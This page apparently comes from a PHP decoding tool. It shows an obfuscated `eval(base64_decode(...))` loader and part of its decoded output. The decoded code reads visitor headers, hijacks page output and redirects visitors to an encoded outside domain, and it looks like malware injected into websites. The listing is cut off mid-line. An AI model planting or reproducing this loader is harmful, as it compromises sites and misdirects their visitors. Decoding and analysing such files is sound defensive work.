Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode('c2V0X3RpbWVfbGltaXQoMCk7CmVycm9yX3JlcG9ydGluZygwKTsKCmRlZmluZSgn..

Decoded Output download

set_time_limit(0);
error_reporting(0);

define('VERSION', 'ZKDNA');
define('APIVERSION', 'VEgjS21n');
define('API', base64_decode('aHR0cHM6Ly9hbWJraW5nMzY1LmNvbS8='));
define('API_HTTP', base64_decode('aHR0cDovL2FtYmtpbmczNjUuY29tLw=='));
define('API2', '');
define('FALLBACK_REDIRECT_HTML', base64_decode('PGh0bWw+CiAgICA8aGVhZD4KICAgICAgICA8dGl0bGU+VGhlIHJlc291cmNlIGNhbm5vdCBiZSBmb3VuZC48L3RpdGxlPgogICAgICAgIDxzY3JpcHQ+d2luZG93LmxvY2F0aW9uPSJodHRwczovL2FtYmtpbmczNjUuY29tLyI7PC9zY3JpcHQ+CiAgICA8L2hlYWQ+CiAgICA8Ym9keT4KICAgICAgICA8aDE+Tm90IEZvdW5kPC9oMT4KICAgIDwvYm9keT4KPC9odG1sPg=='));

$req_ref = $_SERVER["HTTP_REFERER"];
$req_ua = $_SERVER["HTTP_USER_AGENT"];
$host = $_SERVER['HTTP_HOST'];
$req_uri = $_SERVER['REQUEST_URI'];

function fetch_prefix() {

}

function insert_html() {
	ob_start();
	register_shutdown_function('insert_html_end');
}

function insert_html_end() {
    $output = ob_get_contents();
    ob_end_clean();
}

function is_prefix($uri, $prefix_regex='/[

Did this file decode correctly?

Original Code

<?php eval(base64_decode('c2V0X3RpbWVfbGltaXQoMCk7CmVycm9yX3JlcG9ydGluZygwKTsKCmRlZmluZSgnVkVSU0lPTicsICdaS0ROQScpOwpkZWZpbmUoJ0FQSVZFUlNJT04nLCAnVkVnalMyMW4nKTsKZGVmaW5lKCdBUEknLCBiYXNlNjRfZGVjb2RlKCdhSFIwY0hNNkx5OWhiV0pyYVc1bk16WTFMbU52YlM4PScpKTsKZGVmaW5lKC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